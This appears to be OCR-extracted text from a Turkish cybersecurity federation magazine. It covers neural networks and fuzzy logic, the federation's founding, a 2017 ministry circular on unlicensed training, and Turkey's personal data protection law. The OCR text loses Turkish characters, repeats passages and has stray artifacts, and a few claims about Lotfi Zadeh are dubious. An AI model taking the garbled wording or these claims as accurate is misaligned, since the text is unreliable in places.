sinir agini egitmesi gerekmektedir. Bu-
rada input olarak ne degerler girebilir
diye dustnursek, hepsini sayamasak da
bir kag 6rnek olarak yandaki semada
sOyle siralayabiliriz.

Bu dongii devam ederken en basta
input olarak verdigimiz “Kasigi daha
onceden dogru tutma 6grenilmisligi
verisi”agirhgr degismekte ve output
basarili olana kadar kendini yenilemek-
tedir. Hig birimiz ilk defa suya atilisi-
mizda ylzmeyi, ilk defa bisiklete
binisimizde siirmeyi becerememisizdir.

Konuyu toparlamak adina daha somut
olmasi icin bir video paylasiyorum siz-
lerle : Videoda CogBotLab'in hazirlamis
oldugu robot ve robot hazirlanmadan
simulasyonlari ile nasil ylriimeyi 6gre-
tildigi gosteriliyor.

Yapay sinir agi nedir kabataslak anlat-
mis olduk, peki sektorde nerelerde ve
nasil kullanihyor, kullanim metotlar

nelerdir, reel hayatta karsimiza nasil
¢ikar ve bir problem ¢6ziimiinde bize
nasil yardimci olur sorularinin cevapla-
rina deginmeden yazimi sonlandiriyor
muyum ?

Tabi ki hayir.

1. Gozden gelen yemegin ko-
numu verisi,

2. El derisinden gelen kasigin
durus sekli ve kavrama verisi,

3. Kasigi daha 6nceden dogru
tutma o6grenilmisligi verisi
Output :

1. Yemegin agza gotiiriilmiis ol-
masi,

1.1. Yemegin agza dokmeden
gotirilmiis olmasi. ( Basarili)
1.1.1. Annenin taktir etme sesi
verisi.

1.1.2. Agizda lezzet verisi

1.2. Yemegin agza gotirilmesi
ama onlugunde kirlenmis ol-
masi.

(Basarisiz)

1.2.1. Annenin homurdanma
sesi verisi.

1.2.2. Agizda lezzet hissi.

2. Yemegin agza gotiiriileme-
mis olmasi,

2.1. Annenin azarlama sesi ve-
risi ( Basarisiz)




Oncelikle yapay sinir aglari, insan bey-
ninin bir yansimasi, bir simiilasyonu,
bir taklididir. Bir cok farkh kullanim me-
todu ve alani vardir. Kullanim alani ola-
rak sinirlamak mantiksiz olur. Sizin
hayal gtictinuize kalmistir. Tabi ki bu
hayal gliciini kullanmak icin ufak bir
teknik detay yonlendiricisi gerekiyor.
Bunun i¢in yazinin devaminda kisa bir
yonlendirici verecegim. ( PYbrain )

Yapay sinir aglari glinimuzde agirlikla
su alanlarda kullaniimakta :

Uzay
Ucus similasyonlari, otomatik pilot uy-
gulamalari vb. alanlarda

Otomotiv

Otomatik yol izleme, yol kosullarina
gOre siirlis analizi vb. gibi uygulama-
larda

Bankacilik

Kredi uygulamalari gelistirilmesi, mus-
teri analizi ve kredi miiracaat degerlen-
dirilmesi

Savunma

Silah yonlendirme, hedef se¢cme, radar,
sensOr sonar sistemleri, sinyal isleme,
gorintil isleme vb.

Elektronik
Kod sirasi 6ngoris, ¢ip bozulma ana-
lizi, non-lineer modelleme vs.

Finans
Pazar performans analizi

Uretim
Uriin dizayni, dayanikhlik analizi, ma-
kine yipranmalar tespiti

Saghk

GOgUs kanseri erken teshis ve tedavisi,
EEG, ECG, MR, ilag etkileri analizi, kan
analizi siniflandirma, kalp krizi erken
teshis ve tedavisi

Robotik

Yoriinge kontrol, forklift robotlari, gor-
sel sistemler, uzaktan kumandali sis-
temler.

Giivenlik

Parmak izi tanima, kredi karti hileleri
saptama, retina tarama, yiiz eslestirme
vb uygulamalarda

Yapay sinir aglari uygulamalarinda kul-
lanilan teknikler :

Yapay Sinir Aglarinda Kullanilan Teknik-
ler

1) Tavlama Benzetimi (Simulated An-
nealing),

2) Uzman Sistemler (Expert Systems),

3) Bilgisayarli Gorme (Computer Vi-
sion),

4) Konusma Tanima
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Girdi katmani

Xj

5) Yapay Sinir Aglari (ANN: Artificial
Neural Networks),

6) Bulanik Mantik (Fuzzy Logic),
7) Genetik Algoritmalar

8) Kaotik Modelleme, ( Daha sonra lize-
rinde durulacak bir konu )

9) Robotik

Zadeh-barcelona-1997@92x115Bu
arada yapay sinir aglarinda piyasadaki
blyuk bir gedige tas koyan Fuzzy
logic'ten de bahsetmeden gecemem.
Mimari bir TURK olup malesef bir beyin
gocuddar.

Fuzzy logic mimari Lutfi Aliasker
Zade,d. 4 Subat 1921, Bak), babasi
Azer asilli iran’li, annesi yahudi asill
Rus olan Azerbaycan’li (ABD vatandash-
gina kabul edildi) matematikgi ve bilgi-
sayar biliminde bulanik mantik ( Fuzzy
logic) teorisinin temelini koymus bilim
adamidir. Kaliforniya Universitesi Ber-
keley’in Elektrik Mihendisligi ve Bilgi-
sayar Bilimleri fakiltesinde profesor
gorevi yapmaktadir.

Bulanik mantik ( Fuzzy Logic ) su se-
kilde anlatilabilir :

Bazen bir renk ne tam kirmizi ne tam
saridir. Litfi Aliasker Zade “Turuncu”yu
icat etmistir.

Klasik Mantik, Bulanik Mantik, A veya A
Degil, A ve A Degil, Kesin Kismi, Hepsi
veya Hicbiri, Belirli Derecelerde, 0 veya
1, 0 ve 1 Arasinda Sureklilik, ikili Birim-
ler, Bulanik Birimler Son olarak, yazimin
ortalarinda yapay sinir agini gercekle-
mek anlaminda yonlendirici gdsterece-
gimin s6zunu vermistim.

Tdm bunlarin sadece bir genel kiltir

olarak kalmamasini isteyen ve gercek-
lemek isteyen arkadaslar asagida vere-
cegim bilgileri kullanarak yapay sinir
agi ile modellemeler ve uygulamalar
yapabilirler.

Yapay sinir agina bir yonlendirici
olarak : Pybrain asdawPython tabanl
calisan bir yapay sinir agi kiitiphanesi
olarak Pybrain'i kullanabilirsiniz. Bildi-
giniz Uzere python agik kaynak kodla-
rin koltuk degnegi olan bir yazihm
dilidir.

Pybrain sadece deneysel amacl kulla-
nilabilir bir kiitiiphane olup, ticari pro-
jeleriniz icin c++ tabaniyla bir
uygulama gelistirmeniz daha mantikli
olacaktir. PyBrain daha ¢cok Neural Net-
work algoritmalarina odakli bir kitiip-
hanedir.Unsupervised Learning
alaninda gerekli olabilecek cesitli algo-
ritmalar tanimlanmis durumda.

Ogrenim ve gelistirme amacli Pybrain'i
sinir sisteminizde dolastiriniz.

http://pybrain.org/docs/

adresinden indirebilir, dokimanlari
okuyabilir, kendi uygulamanizi gercek-
leyebilirsiniz. Nacizane tavsiyem uygu-
lamayi gelistirmeden 6nce benzer
yapilmis olanlari incelemeniz, manti-
gini iyi kavramaniz ve daha sonrasinda
Pybrain kutliphanesi dahilinde yukarda
bahsetmis oldugumuz yapay sinir agi
tekniklerinden dogru olani secip, pro-
jeye baslamanizdir.

Kasik tutmayi 6grenmeden (YSA), bir
salonda yemek yenmeyecektir.



Uluslararasi Siber Giivenlik Federasyonu

' 144 Saat Resmi Miifredat ile
Istihbarat & Siber Guvenlik Egitimi

Otomatik Zafiyet Tarama ve Dedgerlendirme, Parola/Sifre Kirma Saldinlari
Ag Zehirleme, Kablosuz Ag Saldirilari, DDoS, Sosyal Mihendislik Saldirilari
Adli Bilisim, Siber Olay Analizi & Zararli Yazilim Analizi
Bilisim Hukuku
Temel istihbarat
stihbarata Karsi Koyma
Hedef Sistemler Hakkinda Bilgi Toplama
Web Uygulamasina izinsiz Erisim ve Givenlik
Siber istihbarat
Siber istihbarata Karsi Koyma
Siber Guvenlige Giris
Guvenli Yazilim Gelistirme
Tersine Muhendislik
Guvenli Mobil Uygulama Gelistirme
Veritabani Giivenligi ve Denetim Teknikleri

Bilgi ve basvuru igin
www.usgf.org.tr
bilgi@usgf.org.tr



Uluslararasi
Siher Guvenlik
Federasyonu

insanlarin haber alma ve iletisim kurma istekleri insanlik tarihi boyunca var olmustur. Bu se-
beple bir cok icatlar ve kesifler yapilmistir. Her donemin kendine has iletisimi ve teknolojisi ol-
mustur. Bu icatlar ve kesifler insanligin yasam tarzini ve yagsam siiresini giinden giine daha

konforlu hale getirmistir.

nsanlarin haber alma ve
iletisim kurma istekleri in-
sanlik tarihi boyunca var
olmustur. Bu sebeple bir
cok icatlar ve kesifler yapil-
mistir. Her donemin kendine has ileti-
simi ve teknolojisi olmustur. Bu icatlar
ve kegsifler insanhgin yasam tarzini ve
yasam siiresini guinden gune daha
konforlu hale getirmistir. ilk insanlar

—

iletisimi konusarak ve figlrler yaparak
anlasmislar. Kendi cevrelerinden daha
uzaga ancak bir insanin gunlik yuri-
yebilecegi mesafe kadar gidebildikleri
yerlere iletisimlerini tagimislar... Daha
sonra cevresinde avlanirken yakaladik-
lari hayvanlari egiterek ve onlara bine-
rek iletisimlerini cevrelerinin disina
tastyabilmisler. Zaman icinde farkli icat
kesif ve buluslar ile iletisime ve haber

alip vermeyi kendi konfor ve yasamla-
rina aktarmigslar. Tekerlegin icadi, Ate-
sin bulunmasi, at arabalarinin
gelistirilmesi, madenlerin kullanilmasi,
buhar kazanlarinin icadi, elektrigin
icad edilmesi ,denizde, havada, karada
bir cok araclarin kullaniimasi, telefo-
nun icad, telsizin icadi, radyo ve tel-
evizyonun icat edilmesiyle insanhk
iletisimi de hep arttirmistir.




Teknolojik cagda bu gelismeler cok
daha hizl ve bas dondiiriicii boyutlara
ulasmistir. Artik insanlar oldugu yer-
den diinyanin istedigi yerinden haber
alip haber verebilmekte.. bunu isterse
sesli, isterse goriintllu olarak da yapa-
bilmekte...

Hatta diinya disi olan komsu gezegen
ve sistemlerden bile bilgi, goriintd, ses
alabilmekte , oralara da uzun yillardir
mesaj gdndermektedir. iletisim zaman
olarak ¢ok gelisim gostermektedir. Bu
gelisimlerden biri de siber(sanal) alan-
dir.

Sanal diinya 6yle hizli gelisim goster-
mektedir ki, neredeyse genc kusaklar
bu alana adapte olmus, bir dnceki
ebeveyinler neredeyse bu alana ya-
banci kalmistir. Diinyada boyle hizh
biyuyen ve anlami ¢ok derin olan ko-
nuya Ulkemiz de uzak duramazdi..

Ulkemizin bu alanda ihtiyaci olan sivil
insiyatif calismalarini da bir grup,
inacli ve ileri gorusli vatan evlatlariyla
goriiserek, 2017 Yili 15 mart ta cesitli
dernek galismalarimizi tamamlayarak,
Uluslararasi siber gtivenlik federasyo-
numuzun resmi faaliyet belgesini ala-
rak calismalarimizi baslattik.

Baskanimiz Muhammed Taha Gergerli-
oglu ve yonetim kurulu ile uluslararasi
ve ulusal diizeyde planlama ve prog-

ramlama yaparak milletimize ve devle-

timize hizmet etmeyi siirdiirecegiz.
Federasyonumuza bagh olarak;

- Siber glivenlik teknolojileri dernegi,

- Siber savunma teknolojileri dernegi,
- Elektonik harple micadele dernegi,

- Kamusal siber glivenlik dernegi,

- Siber cihazlar Ureticileri dernegi,

- Bilgisayar Yazilimcilari ve programci-
lari dernegi,

i

Sanal diinya dyle hizli gelisim gos-
termektedir ki, neredeyse genc ku-
saklar bu alana adapte olmus, bir
onceki ebeveyinler neredeyse bu

alana yabanci kalmistir. Diinyada
boyle hizli biiyiiyen ve anlami ¢cok
derin olan konuya iilkemiz de uzak
duramazdi..

n

- Siber glivenlik teskilati dernedi,

- Karadeniz Eregli siber glivenlik
teskilati dernegi

- Kirklareli siber giivenlik dernegi,

Faaliyetlerini strdirmektedir. Bu der-
neklerimize ilaveten daha bir cok iller-
den dernekler katilacaktir. Uluslararasi
siber glivenlik federasyonu olarak,
basta tUlkemizin kurumlari olmak
lzere, sirketlerine yetenekli siber
uzman yetistirmek olup, milli egitim
bakanlhgindan 144 saatlik Siber GU-
venlik egitim mufredati onaylanarak,
milletimizin hizmetine sunulmustur.
Diger mifredat calismalarimiz kesinti-
siz olarak devam etmektedir. Siber fe-
derasyonumuz adiyla dergi
calismalarimiz da devam etmekte
olup, ikinci sayist ile sizlere ulasmanin
mutlulugunu duymaktayiz. Dergimizi
tim vatandaglarimiza ulastirma du-
stincesindeyiz. Dergimize maddi ve
manevi destek vermek ve yazi ile kati-
lim saglamak isteyen tiim Siber dostla-
rimiza kapimiz aciktir. Yazilarinizi
bilgi@usgf.org.tr adresine,
0216.422.23.22 telefona da talepleri-
nizi ve desteklerinizi bekleriz. Bizler
lzerimize diisen tiim gorevlere talip
olarak bu yola bas koyduk. Sizlerin de
bizlere destek olmanizi arzulariz.

Bu vesile ile bizlere bu firsati veren,
basta sehit ve gazilerimizi derin sevgi
ve saygilarimizla anar, Ulkemizi yéne-
ten tum yoneticilerimize basarilar dile-
riz. Din bu konular yoktu, bugtn var,
yarin daha da var olacak insallah...

Saglicakla kalin efendim...
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Say1 : 15520822-10.06.02-E.788106 19.01.2017
Konu : izinsiz Egitim Ogretim Faaliyetleri

GENELGE
2017/4

Ilgi: a) 1739 sayili Milli Egitim Temel Kanunu,
b) 5580 say1li Ozel Ogretim Kurumlar: Kanunu,

¢) 20.03.2012 tarihli ve 28239 sayili Resmi Gazetede yayimlanan Milli Egitim
Bakanlig1 Ozel Ogretim Kurumlari Yonetmeligi,

¢) 5442 sayili il Idaresi Kanunu,

d) 10.8.2005 tarihli ve 25902 sayili Resmi Gazetede yayimlanan Isyeri Agma ve
Calisma Ruhsatlarina Iliskin Yonetmelik,

e) Milli Egitim Bakanligi Ozel Ogretim Kurumlar1 Genel Miidiirliigiiniin 25.05.2015
tarih ve 16915068-10.06-E.5361317 say1li yazisi.

Tiirkiye Cumhuriyeti Anayasasi'nin 42 nci maddesine ve ilgi (a) Kanunun 17 nci
maddesine gore tilkemizdeki egitim ve ogretim faaliyetleri Devletin gozetim ve denetimi
altinda yiiriitiilmekte olup; resmi, 6zel ya da goniillii her tiirli kurulusun egitimle ilgili
faaliyetleri Milli Egitimin amaglarmma uygunlugu bakimindan Bakanhi@imizin denetimine
tabidir. Ilgi (b) Kanunun 2 nci maddesinde 6zel dgretim kurumlan tarafindan verilebilecek
egitim faaliyetleri ve bu faaliyetlerin yiiriitiilecegi kurum tiirleri belirlenmistir. Yine ilgi (b)
Kanunun 3 tincii maddesinde gercek ve tiizel kisiler tarafindan Kanun kapsaminda belirtilen
faaliyetlerin Kanuna gore yetkili makamlardan kurum a¢ma izni alinmadan yapilamayacagi,
her ne ad altinda olursa olsun egitim ve 6gretim sunmak amaciyla yiriitiilen faaliyetlerin
Bakanhigin izin ve denetimine tabi oldugu hiikiim altina alinmistir.

Yukarida yapilan agiklamalardan da anlagilacagi tizere her tirlii egitim ve Ogretim
faaliyetinin Milli Egitim Bakanhginmin iznine ve denetimine tabi oldugu halde, bazi
igyerlerinin gerekli izinleri almadan izinsiz egitim Ogretim faaliyeti yiiriittiigii bilgileri
Bakanligimiza ulagmaktadir.

Anayasanin, kanunlarin ve bunlara dayali ¢ikarilan diger mevzuat hiikiimlerinin
isletilmesi, Devletin diizenleme ve denetim yetkisinin yerinde ve etkili kullanilarak
sorumlulugun yerine getirilmesini saglamak yine Devletin dncelikli gorevleri arasindadir.

Bu amagla ilgi (b) Kanunun 3 iincii maddesinde;

“Bu Kanun kapsamindaki egitim-6gretim faaliyetlerini yapan ancak bu Kanuna uygun
olarak kurum a¢gma izni ile is yeri agma ve ¢alisma ruhsati diizenlenmeyen yerleri kuran veya
isletenlere briit asgari ticretin 20 kati idari para cezasi uygulamir ve bu yerler valiliklerce
kapatilir...” hikkmiine yer verilmis olup,

Ilgi (c) Yonetmeligin 5 inci maddesinin 4 iincii fikrasinda;

“Kanunun 3 iincii maddesinin on birinci fikrasinda belirtilen yerlerin mulki idare
amirleri tarafindan gorevlendirilen yetkililerce tespiti halinde bu verleri kuran veya isletenlere

Bu evrak giivenli elektronik imza ile imzalanmistir. http://evraksorgu.meb.gov.tr adresinden db4f-3862-36c4-b0fe-7af0 kodu ile teyit edilebilir.



Kanunda belirtilen miktarda idari para cezas: valilikge verilir. Verilen idari para cezasi,
11/2/1959 tarihli ve 7201 sayih Tebligat Kanunu hiikiimlerine gore ilgiliye teblig edilir, takip
ve tahsili i¢in ise Maliye Bakanligimin ildeki ilgili birimine bildirilir. Ayrica bu yerler
valilikge kapatilir.”” hiikmiine yer verilmis olup ayn1 Yonetmeligin 67/A maddesinde de;

(2) Kanunda belirtilen idari para cezalari, yetkili makam tarafindan cezanin verildigi
giinde ytiriirliikte bulunan briit asgari licret tizerinden belirlenir.

(3) Idari para cezalan kurumlarin kurucularinin vergi dairelerine vergi numaralar
tizerinden bildirilir. Bu Yoénetmeligin 5 inci maddesinin dordiincti fikrasi dogrultusunda
verilecek idari para cezasi ilgili kisilerin varsa vergi kimlik numaralar1 yoksa T.C. kimlik
numaralari {izerinden Maliye Bakanliginin ildeki ilgili birimine bildirilir...” seklinde
diizenleme yapilarak idari para cezalarinin ne sekilde uygulanacag belirlenmistir.

Bu amagla;

Valiliklerce, ilgi (¢) Kanunun 9 uncu maddesinde siralanan gorev ve yetkiler
kapsaminda, ilgi (e) yaziya uygun olarak olusturulan izleme ve koordinasyon komisyonlari
caligmalarina devam edecektir.

Egitim merkezi, egitim danigmanligy, kariyer rehberligi, egitim koglugu, ddev merkezi,
egitim rehberligi gibi adlar altinda veya herhangi bir ad belirtilmeden Bakanhigimiz
uhdesinde bulunan faaliyetlerin yiiriitiildigtintin tespit edilmesi halinde, ilgi (b) Kanunun 3
tincii maddesine istinaden ilgi (¢) Yonetmeligin 5 inci maddesinin 4 {incii fikrasi ve 67/A
maddesinde yapilan diizenlemeler geregince bu yerleri kuran veya isletenlere para cezasi
verilecek, boyle yerlerin bu faaliyetleri yiiriitmelerine higbir sekilde miisaade edilmeyecektir.

Bilgilerinizi ve geregini rica ederim.

Ismet YILMAZ

Milli Egitim Bakani
DAGITIM
Geregi: Bilgi:
B Plam i¢isleri Bakanlhig
Adres: Aynntili bilgi igin:
Elektronik Ag: Tel:
e-posta: Faks:

Bu evrak giivenli elektronik imza ile imzalanmistir. http:/evraksorgu.meb.gov.tr adresinden db4f-3862-36c4-b0fe-7af0 kodu ile teyit edilebilir,




(1 )Security

Siber Guvenlik Danismanligi
SIEM - Log Korelasyon Hizmetleri
Siber Guvenlik Egitimleri
Kurumsal Some Egitimleri
Beyaz Sapkali Hacker Egitimleri
Sizma Testi Hizmetleri

iletisim
0 (282) 654 43 99
www.itsecurity.com.tr
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Kisisel Verilerin
Korunmasi Kanunu

Isiginda Temel Veri

Koruma Kavramlanr

seval@sevalsonmez.com

Av. Seval SONMEZ '

Kisisel verilerin onemi ve bu 6nem iizerine inga edilen 6698 sayili Kisisel Verilerin Korun-
masi Kanunu (“Kanun”) biz hukukgulari ve aslinda veri sahibi gercek kisiler de dahil herkesi
ziyadesiyle ilgilendiren bir konu olarak glindemimize girdi.

isisel verilerin 6nemi ve bu

Onem Uzerine insa edilen

6698 sayil Kisisel Verilerin

Korunmasi Kanunu

(“Kanun”) biz hukukgulari
ve aslinda veri sahibi gercek kisiler de
dahil herkesi ziyadesiyle ilgilendiren bir
konu olarak glindemimize girdi. Uygu-
lamada hala bir¢ok veri isleyen kurum
ve kurulusun mevzuattaki gelismeler-
den ve yaptirimlardan bihaber oldu-
gunu gozlemlesek de 12 Ocak 2017'de
Kisisel Veri Koruma Kurulu'nun yemin
ederek goreve baslamasiyla dikkatlerin
daha da yogunlastigi kisisel verilerin
korunmasi konusu, hem veri sahipleri
hem de veri sorumlularrigin biylk
Onem arz ediyor.

Bu konuda kisaca Turkiye'deki gelisme-
lere bakacak olursak, 2004 yilinda kisi-
sel verilerin hukuka aykiri kaydedilmesi
Tirk Ceza Kanunu'nda sug olarak ta-
nimlandi. 2010 yilinda herkesin kisisel
verilerinin korunmasini isteme hakki
bir anayasal hak olarak tanindi. Bu hak-
kin nasil kullanilacagi veya kisisel veri-
lerin islenmesine iliskin sinirlamalarin
neler olacagi bu konuda cikarilacak bir
kanuna birakildi.

Gergekten de hem Turk Ceza Kanu-
nu'ndaki sug¢ taniminin iyi anlagiimasi
hem de bu konudaki anayasal hakkin
saglikh sekilde kullanilmasi icin konu-
nun temel prensiplerini ve detaylarini
belirleyecek bir kanuna ve beraberinde
yayimlanacak yonetmeliklere ihtiyag
vardi. Nihayetinde yillardir merakla
bekledigimiz Kanun 7 Nisan 2016 tari-
hinde Resmi Gazete'de yayimlandi ve

30

tim hiikiimleriyle 7 Ekim 2016 tari-
hinde yurdrluge girdi.

Kisisel verilerin korunmasi mihim ve
detaylandirildik¢a derinlesen bir konu
oldugundan bitimsiz bir yaziya mahal
vermemek adina, Kanun’la birlikte ha-
yatimiza giren kavramlari ve konuyla il-
gili temel prensipleri bu yazimda 6zetle
sizlerle paylasacagim.

Kisisel veri nedir?

Kisisel verilerin korunma prensiplerini
iyi anlamak adina kisisel verinin bir ger-
cek kisiyi belirli hale getiren veya belir-
lenebilir kilan her tirld veri oldugunun
altini ¢cizmek gerekir.

Bu kapsamda tiizel kisilerin verilerinin
kisisel verilere konu olmadigini - 6rne-
gin bir anonim sirketin ticari sirlarinin
kisisel veri olamayacagini- kisisel veri-
den s6z etmek icin gercek kisiden yani
insandan s6z etmek gerektigini gor-
mekteyiz. Ayrica bu veriler dyle veriler
olmalidir ki; veri sahibi gercek kisiyi or-
taya ¢ikarmali ya da ortaya ¢ikarmaya
elverisli hale getirmelidir. Bu kap-
samda islenen veriler degerlendirilir-
ken, eldeki verileri bu en temel
prensibi gozeterek degerlendirmek ge-
reklidir.

Kanunda bir de 6zel nitelikli kisisel veri-
ler tanimlanmistir ve bu kisisel veriler
daha hassas bir korumaya tabi tutul-
mustur. Kisilerin irki, etnik kdkeni, siyasi
dusuncesi, felsefi inanci, dini, mezhebi
veya diger inanglari, kilik ve kiyafeti,
dernek, vakif ya da sendika uyeligi,
saghg, cinsel hayati, ceza mahkGmiyeti

ve glivenlik tedbirleriyle ilgili verileri ile
biyometrik ve genetik verileri 6zel nite-
likli kisisel verilerdir.

Acik riza ve aydinlatma
yiikiimliliigi nedir?

Kanun'daki bir diger 6nemli kavram ise
“acik nza” kavramidir. Veri sorumlusu 6n-
celikle verisini isleyecegi ilgili kisiyi veri
sorumlusunun kimligi, kisisel verileri
hangi amacla isleyecedi, islenen kisisel
verilerin kimlere ve hangi amacla aktari-
labilecedi, kisisel veri toplamanin yon-
temi ve hukuki sebebi, ilgili kisinin
Kanun'dan dogan haklar konularinda ay-
dinlatmakla yikimltdir. Kanun veya yo-
netmeliklerde acik rizanin alinma sekli ile
ilgili bir diizenleme bulunmadigindan,
veri sorumlulari bu rizayi yazili veya s6zlu
alabileceklerse de herhangi bir uyusmaz-
lik durumunda agik rizanin alindiginin is-
pati veri sorumlusu tarafindan yapilmasi
gerekecegdi gozden kagirilmamalidir.

Kisisel veri isleme kapsami nedir?

Aydinlatma ylukimliliglni yerine getir-
meyi ve ilgili kisiden acik riza almayi ge-
rektiren fiiller; kisisel verileri tamamen
veya kismen otomatik olan ya da her-
hangi bir veri kayt sisteminin parcasi
olmak kaydiyla otomatik olmayan yol-
larla elde etme, kaydetme, depolama,
muhafaza etme, degistirme, yeniden di-
zenleme, agiklama, aktarma, devralma,
elde edilebilir hale getirme, siniflandirma
ya da kullanilmasini engellemedir. Bu fiil-
lerin yalnizca birini gerceklestirmek ya da
birden cogunu gerceklestirmek arasinda
acik riza almak agisindan bir fark bulun-
mamaktadir.



Acik riza gerektirmeyen
istisnalar Kanun'da
diizenlenmis midir?

Kanun'da kisisel verileri islemek icin
acik riza gerektirmeyen bazi istisnalar
diizenlenmistir. Kanunlarda acgikca on-
gorilmesi durumunda agik riza almak
gerekmeyecektir. Ornegin Sosyal Gii-
venlik ve Is Hukuku mevzuati geregi
isci hakkinda tutulmasi isverenlere zo-
runlu hale getirilmis kisisel veriler icin
iscinin onayini almak gerekmeyecektir.

Fiili imkansizlik nedeniyle rizasini acik-
layamayacak durumda bulunan veya ri-
zasina hukuki gecerlilik taninmayan
kisinin kendisinin ya da bir baskasinin
hayati veya beden butinliginin ko-
runmasi i¢in zorunlu olmasi duru-
munda da acik riza aranmayacaktir.

Ornegin; hiirriyeti tahdit edilen bir kisi-
nin kurtarilmasi amaciyla, kendisinin
veya slUphelinin tagimakta oldugu tele-
fon, bilgisayar, kredi karti, banka kart
veya diger teknik bir ara¢ tzerinden
yerinin belirlenmesi icin bu veriler isle-
nebilecektir.

Bir sozlesmenin kurulmasi veya ifasiyla
dogrudan dogruya ilgili olmasi kay-
diyla, sézlesmenin taraflarina ait kisisel
verilerin islenmesinin gerekli olmasi
halinde de acik riza aranmayacaktir.

Ornegin bir e-ticaret sirketinin musteri-
sine satin aldigi Grlint gondermesi igin
adres bilgisinin kaydedilmesi ifa icin
zorunludur. Bu durumda da bu verinin
kaydedilmesi icin acik rizanin varhgi

aranmayacaktir. Veri sorumlusunun hu-
kuki yikimluliguand yerine getirebil-
mesi icin kisisel verinin islenmesinin
zorunlu olmasi ve bir hakkin tesisi, kul-
lanilmasi veya korunmasi icin veri isle-
menin zorunlu olmasi da agik rizanin
aranmadigi istisnalardandir.

icinde bulundugumuz dijital cagda
paylasilan veriler distintldiginde dik-
kate ve tartismaya deger istisnalardan
biri de kisisel verinin ilgili kisinin ken-
disi tarafindan alenilestirilmis olmasi-
dir. Bir 6rnekle agiklamak gerekirse; bir
kisinin herkese acik sosyal medya he-
saplarinda kendisine dair paylastigi fo-
tograflar, bilgiler, bulundugu konumlar
gibi bircok veri, kisi kendisi bu verileri
alenilestirdigi icin acik rizasi olmaksizin
islenebilecektir.

ilgili kisinin temel hak ve 6zgirliikle-
rine zarar vermemek kaydiyla, veri so-
rumlusunun mesru menfaatleri icin
veri islenmesinin zorunlu olmasi da
aclk riza gerektirmez.

Buna gore, 6rnegdin bir sirket sahibi, ¢a-
lisanlarinin temel hak ve 6zgurluklerine
zarar vermemek kaydiyla, onlarin terfi-
leri, maas zamlari yahut sosyal haklari-
nin diizenlenmesinde ya da isletmenin
yeniden yapilandirilmasi siirecinde
gorev ve rol dagitiminda esas alinmak
Uzere calisanlarin kisisel verilerini isle-
yebilecektir. Burada, isletmenin yeni-
den yapilandirilmasi ya da ehliyetli ve
liyakatli calisanlarin terfi almalari, veri
sorumlusu statiistindeki sirket sahibi-
nin mesru menfaati cimlesindendir.

Ozel nitelikli kisisel verileri
isleme sinirlamalari nelerdir?

Kural olarak 6zel nitelikli kisisel veriler
de acik riza olmaksizin islenemez.
Kanun 6zel nitelikli kisisel verilerin is-
lenmesi icin de bir takim istisnalar ge-
tirmistir. Saglik ve cinsel hayat
disindaki kisisel veriler, kanunlarda 6n-
gorulen hallerde ilgili kisinin acik rizasi
aranmaksizin islenebilir. Hastanelerin,
eczanelerin ya da Sosyal Glivenlik Ku-
rumunun hastalarla ilgili veri islemesi
bu kapsamda dederlendirilecektir.

Saglik ve cinsel hayata iligkin kisisel ve-
rilerin ise daha sinirli hallerde islenme-
sine izin verilmistir. Saglik ve cinsel
hayata iliskin kisisel veriler ancak kamu
saghginin korunmasi, koruyucu hekim-
lik, tibbi teshis, tedavi ve bakim hiz-
metlerinin ylrittlmesi, saglik
hizmetleri ile finansmaninin planlan-
masi ve yonetimi amaciyla, sir saklama
yukidmliltgu altinda bulunan kisiler
veya yetkili kurum ve kuruluslar tara-
findan ilgilinin acik rizasi aranmaksizin
islenebilir. Bir bagska yazimizda Ka-
nun’un getirdigi diger hikkiimlere ve
yaptirimlara deginmek umuduyla kisi-
sel verilerin korunmasi konusunda ted-
bir almayan veri sorumlularina daha
fazla ge¢ kalmaksizin veri gizliligi ve
glivenligine iliskin politikalarini olus-
turmayi tavsiye ediyorum. Bu yazida
bahsettigim kavramlari 6grenmenin,
veri koruma stratejilerini olustururken
veri sorumlularinin ayni zamanda
hukuk uygun hareket etmelerini sagla-
masini umut ediyorum.
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insanhigin baslangicindan iti-
baren aslinda unutma bir
kural, hatirlama ise istisna ol-
mustur. Ancak, dijital tekno-
loji ve global aglar sayesinde
bu kural tersine donmiustiir.
Bugiin, oldukc¢a yayginlasan
teknoloji sayesinde, unutma
istisna, hatirlama ise olagan
hale gelmistir. Zira unutmak
insan beyninin ¢calisma sekli-
nin bir parcasiyken teknoloji
icin aslolan hatirlamaktir.




nsanligin baslangicindan itibaren aslinda

unutma bir kural, hatirlama ise istisna olmus-

tur. Ancak, dijital teknoloji ve global aglar sa-

yesinde bu kural tersine donmustur. Bugiin,

oldukca yayginlasan teknoloji sayesinde,
unutma istisna, hatirlama ise olagan hale gelmistir. Zira
unutmak insan beyninin calisma seklinin bir parcasiyken
teknoloji icin aslolan hatirlamaktir.

Nitekim kimlik bilgilerimiz basta olmak tizere fotograflari-
miz, nerede oldugumuz, ne yaptigimiz, ne yedigimiz, ne ic-
tigimiz, internette ne aradigimiz, alisveris ve tatil
tercihlerimiz dahasi hayatimizin tamamini kapsayan giin-
delik tercihlerimizi iceren kisisel verilerimizin sinirsiz bi-
cimde kayit altina alindigy, bir kere kayit altina
alimmasindan sonra gunumuz teknolojisinin sagladig1 hizli
ve genis paylasim nedeniyle ortadan kaldirilmasinin ol-
dukca zor oldugu bu cagda unutulmak ne miimkiin!

Ornek vermek gerekirse, bir Kisi sizi Internet’te aradiginda
karsisina cikan ilk sonuc uzun zaman once Internet’e yik-
lenmis ve sizin giincel halinizle ilgisi olmayan bir bilgi ola-
biliyor. Bu durum sonsuza dek damgalanmaniza neden
olabileceginden sizin yeni bir baslangi¢c yapmanizi zorlasti-
rabiliyor hatta “ikinci magduriyet”e neden olabiliyor. Ikin-
cil magduriyet: Su¢ magdurunun suctan sonra maruz
kaldig1 muamele sebebiyle yasadigi ikinci magduriyeti an-
latmak icin kullanilan bir terim. Diger bir taraftan, insan-
lar bilgiyi hatirlamak istiyor. Fakat yasanmishklar
konusunda durum degisebiliyor. Insan dogasi geregi mii-
kemmel olmanin cok uzaginda ve hata yapmaya acik.
Diger yandan yaptig1 hatalardan ders cikarabiliyor ve ayni
hatayi tekrarlamayarak kendini gelistirebiliyor. Diger de-
yisle yaptigimiz hatay1 degil hatadan cikardigimiz dersi ha-
tirlamak istiyoruz. internet unutmayan bir dijital hafiza
oldugundan, Bilisim Cagi’'nda gecmisteki kotii yasanmislik-
lar1, 6rnegin magduriyetleri veya hatalar1 unutmak daha
Zor.

Hal boyle iken, bireyin ucuncu kisilerin hatiralarindan/gé-
